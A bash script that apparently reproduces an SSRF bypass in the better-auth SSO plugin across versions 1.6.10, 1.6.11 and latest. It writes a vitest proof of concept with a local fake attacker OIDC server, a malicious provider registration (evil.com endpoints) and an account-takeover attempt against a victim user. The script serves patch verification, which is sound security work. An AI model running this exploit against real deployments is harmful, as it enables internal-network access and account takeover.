#!/bin/bash
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
VAR_DIR="$ROOT/vuln_variant"
mkdir -p "$LOGS"
mkdir -p "$VAR_DIR"

cd "$ROOT"

CACHE_DIR=""
if [ -f "$ROOT/project_cache_context.json" ]; then
  CACHE_DIR=$(jq -r '.project_cache_dir // ""' "$ROOT/project_cache_context.json")
fi
if [ -z "$CACHE_DIR" ] || [ ! -d "$CACHE_DIR" ]; then
  CACHE_DIR="$ROOT/artifacts/better-auth-sso"
fi
mkdir -p "$CACHE_DIR"

WORK_DIR="$CACHE_DIR/vuln_variant"
mkdir -p "$WORK_DIR"

VULN_VERSION="1.6.10"
FIXED_VERSION="1.6.11"
LATEST_VERSION="latest"

TEST_FILE="variant-hostname-ssrf.test.ts"
AUTH_PORT=3000
ATTACKER_PORT=9876

log() {
  echo "[variant] $*" | tee -a "$LOGS/vuln_variant.log"
}

fail() {
  log "ERROR: $*"
  exit 1
}

command -v node >/dev/null || fail "node not found"
command -v npm >/dev/null || fail "npm not found"
command -v jq >/dev/null || fail "jq not found"

# The container hostname resolves to a private RFC1918 address (e.g. 172.20.0.4).
# It is treated as a public FQDN by isPublicRoutableHost but resolves to an internal
# address, demonstrating a DNS-shaped bypass of the literal host check.
PRIVATE_HOSTNAME=$(hostname)
log "Discovered container hostname for bypass: $PRIVATE_HOSTNAME"

run_version() {
  local dir="$1"
  local version="$2"
  local attacker_host="$3"
  local expect_bypass="$4"  # true = variant should reproduce, false = should be blocked
  local label="$5"
  local log_prefix="vuln-variant-${label}"

  log "=== Setting up $label (better-auth@$version, attacker_host=$attacker_host, expect_bypass=$expect_bypass) ==="
  mkdir -p "$dir"
  cd "$dir"

  if [ ! -f package.json ]; then
    npm init -y >/dev/null
    npm pkg set type=module
  fi

  if [ ! -d node_modules/better-auth ] || [ ! -d node_modules/@better-auth/sso ] || [ ! -d node_modules/vitest ]; then
    log "Installing better-auth@$version @better-auth/sso@$version vitest ..."
    npm install "better-auth@$version" "@better-auth/sso@$version" vitest --legacy-peer-deps >>"$LOGS/${log_prefix}-install.log" 2>&1 || fail "npm install failed for $label"
  fi

  cat > "$TEST_FILE" <<'TS'
import { createServer } from "node:http";
import { URL } from "node:url";
import { getTestInstance } from "better-auth/test";
import { sso } from "@better-auth/sso";
import { afterAll, beforeAll, describe, expect, it } from "vitest";

const AUTH_PORT = 3000;
const ATTACKER_PORT = 9876;
const ATTACKER_HOST = process.env.ATTACKER_HOST || "127.0.0.1";
const EXPECT_BYPASS = process.env.EXPECT_BYPASS === "true";

describe("SSO SSRF via public-FQDN/private-IP bypass", async () => {
  const { auth } = await getTestInstance({
    trustedOrigins: [`http://localhost:${AUTH_PORT}`],
    plugins: [sso({ trustEmailVerified: true })],
  });

  let authServer: ReturnType<typeof createServer>;
  let attackerServer: ReturnType<typeof createServer>;
  let attackerRequests: { method: string; url: string; body: string }[] = [];
  let baseURL = `http://localhost:${AUTH_PORT}`;

  beforeAll(async () => {
    authServer = createServer(async (req, res) => {
      try {
        const url = new URL(req.url || "/", baseURL);
        let body: Buffer | undefined;
        if (req.method && !["GET", "HEAD"].includes(req.method)) {
          const chunks: Buffer[] = [];
          for await (const chunk of req) chunks.push(chunk);
          body = Buffer.concat(chunks);
        }
        const request = new Request(url, {
          method: req.method,
          headers: req.headers as Record<string, string>,
          body,
        });
        const response = await auth.handler(request);
        res.statusCode = response.status;
        for (const [k, v] of response.headers.entries()) {
          res.setHeader(k, v);
        }
        if (response.body) {
          const reader = response.body.getReader();
          while (true) {
            const { done, value } = await reader.read();
            if (done) break;
            res.write(value);
          }
        }
        res.end();
      } catch (e) {
        console.error("auth handler error:", e);
        res.statusCode = 500;
        res.end("error");
      }
    });
    await new Promise<void>((resolve) => authServer.listen(AUTH_PORT, "127.0.0.1", resolve));

    attackerServer = createServer((req, res) => {
      let body = "";
      req.on("data", (c) => (body += c));
      req.on("end", () => {
        attackerRequests.push({ method: req.method || "GET", url: req.url || "/", body });
        const url = new URL(req.url || "/", `http://127.0.0.1:${ATTACKER_PORT}`);
        if (req.method === "GET" && url.pathname === "/authorize") {
          const redirectUri = url.searchParams.get("redirect_uri");
          const state = url.searchParams.get("state");
          const callback = new URL(redirectUri || `${baseURL}/api/auth/sso/callback/evil`);
          callback.searchParams.set("code", "attacker-code");
          if (state) callback.searchParams.set("state", state);
          res.writeHead(302, { Location: callback.toString() });
          res.end();
          return;
        }
        if (req.method === "POST" && url.pathname === "/token") {
          res.writeHead(200, { "Content-Type": "application/json" });
          res.end(JSON.stringify({ access_token: "attacker-access-token", token_type: "Bearer" }));
          return;
        }
        if (req.method === "GET" && url.pathname === "/userinfo") {
          res.writeHead(200, { "Content-Type": "application/json" });
          res.end(JSON.stringify({ sub: "attacker-sub", email: "victim@example.com", email_verified: true }));
          return;
        }
        if (req.method === "GET" && url.pathname === "/jwks") {
          res.writeHead(200, { "Content-Type": "application/json" });
          res.end(JSON.stringify({ keys: [] }));
          return;
        }
        res.writeHead(404);
        res.end("not found");
      });
    });
    // Bind on all interfaces so the server-side fetch to the private-IP-resolving
    // hostname can reach the attacker server.
    await new Promise<void>((resolve) => attackerServer.listen(ATTACKER_PORT, "0.0.0.0", resolve));
  });

  afterAll(async () => {
    await Promise.all([
      new Promise<void>((resolve, reject) => authServer.close((err) => (err ? reject(err) : resolve()))),
      new Promise<void>((resolve, reject) => attackerServer.close((err) => (err ? reject(err) : resolve()))),
    ]);
  });

  async function req(path: string, init: RequestInit & { cookieJar?: string } = {}) {
    const url = `${baseURL}/api/auth${path}`;
    const headers = new Headers(init.headers);
    if (init.cookieJar) headers.set("cookie", init.cookieJar);
    const res = await fetch(url, { ...init, headers });
    const setCookie = res.headers.get("set-cookie") || "";
    const body = await res.json().catch(() => null);
    return { res, body, setCookie };
  }

  function extractCookie(name: string, setCookieHeader: string) {
    const match = setCookieHeader.match(new RegExp(`${name}=([^;]+)`));
    return match ? match[1] : "";
  }

  it("attempts SSRF via a public-FQDN that resolves to a private IP", async () => {
    // 1. Create victim user
    const victimSignUp = await req("/sign-up/email", {
      method: "POST",
      body: JSON.stringify({ email: "victim@example.com", password: "victim-password", name: "Victim" }),
      headers: { "Content-Type": "application/json" },
    });
    expect(victimSignUp.res.status).toBe(200);

    // 2. Sign in as attacker (test user)
    const attackerSignIn = await req("/sign-in/email", {
      method: "POST",
      body: JSON.stringify({ email: "test@test.com", password: "test123456" }),
      headers: { "Content-Type": "application/json" },
    });
    expect(attackerSignIn.res.status).toBe(200);
    const attackerSessionToken = extractCookie("better-auth.session_token", attackerSignIn.setCookie);
    const attackerCookieJar = `better-auth.session_token=${attackerSessionToken}`;

    // 3. Register malicious SSO provider using a hostname that resolves to a private IP
    const register = await req("/sso/register", {
      method: "POST",
      cookieJar: attackerCookieJar,
      body: JSON.stringify({
        providerId: "evil-sso",
        issuer: `http://${ATTACKER_HOST}:${ATTACKER_PORT}`,
        domain: "evil.com",
        oidcConfig: {
          clientId: "evil-client",
          clientSecret: "evil-secret",
          skipDiscovery: true,
          authorizationEndpoint: `http://${ATTACKER_HOST}:${ATTACKER_PORT}/authorize`,
          tokenEndpoint: `http://${ATTACKER_HOST}:${ATTACKER_PORT}/token`,
          userInfoEndpoint: `http://${ATTACKER_HOST}:${ATTACKER_PORT}/userinfo`,
          jwksEndpoint: `http://${ATTACKER_HOST}:${ATTACKER_PORT}/jwks`,
          discoveryEndpoint: `http://${ATTACKER_HOST}:${ATTACKER_PORT}/.well-known/openid-configuration`,
          mapping: { id: "sub", email: "email", emailVerified: "email_verified", name: "name", image: "picture" },
        },
      }),
      headers: { "Content-Type": "application/json" },
    });
    console.log("register response:", register.res.status, JSON.stringify(register.body, null, 2));

    if (!EXPECT_BYPASS && register.res.status !== 200) {
      console.log("Registration blocked at provider registration time");
      return;
    }
    expect(register.res.status).toBe(200);
    expect(register.body?.providerId).toBe("evil-sso");

    // 4. Initiate SSO login
    const signIn = await req("/sign-in/sso", {
      method: "POST",
      cookieJar: attackerCookieJar,
      body: JSON.stringify({ providerId: "evil-sso", callbackURL: "/dashboard" }),
      headers: { "Content-Type": "application/json" },
    });
    console.log("sign-in response:", signIn.res.status, JSON.stringify(signIn.body, null, 2));

    if (!EXPECT_BYPASS && signIn.res.status !== 200) {
      console.log("Sign-in blocked by runtime endpoint resolution check");
      // In the patched version we must not see any server-side /token or /userinfo call.
      expect(attackerRequests.some((r) => r.url === "/token" && r.method === "POST")).toBe(false);
      expect(attackerRequests.some((r) => r.url === "/userinfo" && r.method === "GET")).toBe(false);
      return;
    }
    expect(signIn.res.status).toBe(200);
    const authUrl = signIn.body?.url;
    expect(authUrl).toContain(`${ATTACKER_HOST}:${ATTACKER_PORT}/authorize`);
    const stateCookie = extractCookie("better-auth.state", signIn.setCookie);

    // 5. Visit authorize URL (resolves to the private IP via system resolver)
    const authorizeRes = await fetch(authUrl, { redirect: "manual" });
    console.log("authorize response:", authorizeRes.status, "location:", authorizeRes.headers.get("location"));
    const callbackLocation = authorizeRes.headers.get("location") || "";

    // 6. Visit callback
    const callbackRes = await fetch(callbackLocation, {
      redirect: "manual",
      headers: { cookie: `${attackerCookieJar}; better-auth.state=${stateCookie}` },
    });
    console.log("callback status:", callbackRes.status, "location:", callbackRes.headers.get("location"));
    const finalLocation = callbackRes.headers.get("location") || "";

    console.log("attacker requests:", JSON.stringify(attackerRequests, null, 2));

    if (EXPECT_BYPASS) {
      // The core bypass evidence: the server reached the private-IP attacker endpoints.
      expect(attackerRequests.some((r) => r.url === "/token" && r.method === "POST")).toBe(true);
      expect(attackerRequests.some((r) => r.url === "/userinfo" && r.method === "GET")).toBe(true);
      // The callback must not have been blocked by endpoint validation (no discovery_private_host).
      expect(finalLocation).not.toContain("discovery_private_host");
      expect(finalLocation).not.toContain("invalid_provider");
      // Best case: account takeover also works. If not, we still have a confirmed SSRF bypass.
      if (callbackRes.status === 302 && !finalLocation.includes("error=")) {
        const callbackSetCookie = callbackRes.headers.get("set-cookie") || "";
        const sessionToken = extractCookie("better-auth.session_token", callbackSetCookie);
        if (sessionToken) {
          const session = await req("/get-session", {
            cookieJar: `better-auth.session_token=${sessionToken}`,
          });
          console.log("session:", JSON.stringify(session.body, null, 2));
          if (session.body?.user?.email) {
            expect(session.body.user.email).toBe("victim@example.com");
          }
        }
      }
    } else {
      expect(finalLocation).toContain("error=");
    }
  });
});
TS

  export ATTACKER_HOST="$attacker_host"
  export EXPECT_BYPASS="$expect_bypass"

  log "Running vitest for $label ..."
  set +e
  npx vitest run "$TEST_FILE" >"$LOGS/${log_prefix}-test.log" 2>&1
  local exit_code=$?
  set -e

  cd "$ROOT"

  grep -E "register response:|sign-in response:|callback status:|session:|attacker requests:|/token|/userinfo" "$LOGS/${log_prefix}-test.log" >>"$LOGS/vuln_variant.log" || true

  if [ "$expect_bypass" = "true" ]; then
    if [ $exit_code -eq 0 ]; then
      log "$label: bypass/variant reproduced"
      return 0
    fi
    log "$label: bypass/variant NOT reproduced (test failed)"
    return 1
  else
    if [ $exit_code -eq 0 ]; then
      log "$label: patch correctly blocked the variant"
      return 0
    fi
    log "$label: patch unexpectedly allowed the variant"
    return 1
  fi
}

log "=== Better-Auth SSO public-FQDN/private-IP SSRF Variant/Bypass ==="
log "Workspace: $WORK_DIR"

# Baseline: vulnerable 1.6.10 with the original 127.0.0.1 trigger (should work)
if ! run_version "$WORK_DIR/vuln" "$VULN_VERSION" "127.0.0.1" "true" "vuln"; then
  fail "Vulnerable baseline did not reproduce; environment is not suitable for variant testing"
fi

# Fixed 1.6.11 with a hostname that resolves to a private IP (expect bypass because
# the 1.6.11 fix only classifies the literal hostname, not the resolved address).
FIXED_BYPASS=0
if run_version "$WORK_DIR/fixed" "$FIXED_VERSION" "$PRIVATE_HOSTNAME" "true" "fixed"; then
  FIXED_BYPASS=1
fi

# Latest release with the same hostname (should be blocked by runtime DNS resolution checks)
if ! run_version "$WORK_DIR/latest" "$LATEST_VERSION" "$PRIVATE_HOSTNAME" "false" "latest"; then
  fail "Latest release did not block the public-FQDN/private-IP variant"
fi

# Record source identity of the fixed version we tested
COMMIT_SHA="37f60cb176cb53147da7dfd5ec15afa5b486e81e"
if [ -d /data/pruva/runs/40138a98-c019-4e3f-af73-3817c6446b3f/bundle/artifacts/fixed-source ]; then
  cd /data/pruva/runs/40138a98-c019-4e3f-af73-3817c6446b3f/bundle/artifacts/fixed-source
  COMMIT_SHA=$(git rev-parse HEAD)
  cd "$ROOT"
fi

REACHED_BOOL=$([ "$FIXED_BYPASS" -eq 1 ] && echo "true" || echo "false")

# Persist runtime manifest
jq -n \
  --arg entrypoint "endpoint" \
  --arg detail "POST /api/auth/sso/register -> /api/auth/sign-in/sso -> /api/auth/sso/callback/:providerId with a public-FQDN hostname that resolves to a private IP" \
  --argjson started true \
  --argjson health true \
  --argjson reached "$REACHED_BOOL" \
  --argjson stack '["node","better-auth","@better-auth/sso","vitest"]' \
  --argjson artifacts '["logs/vuln_variant.log","logs/vuln-variant-vuln-test.log","logs/vuln-variant-fixed-test.log","logs/vuln-variant-latest-test.log"]' \
  --arg commit "$COMMIT_SHA" \
  '{
    entrypoint_kind: $entrypoint,
    entrypoint_detail: $detail,
    service_started: $started,
    healthcheck_passed: $health,
    target_path_reached: $reached,
    runtime_stack: $stack,
    proof_artifacts: $artifacts,
    tested_fixed_commit: $commit,
    notes: "Vulnerable 1.6.10 reproduced. Fixed 1.6.11 accepted a public-FQDN hostname resolving to a private RFC1918 IP, performed SSRF to the internal address, and reached the callback. Latest 1.6.23 blocked the same hostname via runtime DNS resolution (assertOIDCEndpointsResolvePublic)."
  }' > "$VAR_DIR/runtime_manifest.json"

if [ "$FIXED_BYPASS" -eq 1 ]; then
  log "=== Variant confirmed: 1.6.11 fix bypassed via public-FQDN/private-IP OIDC endpoints ==="
  exit 0
else
  log "=== Variant not reproduced on 1.6.11; treating as negative variant ==="
  exit 1
fi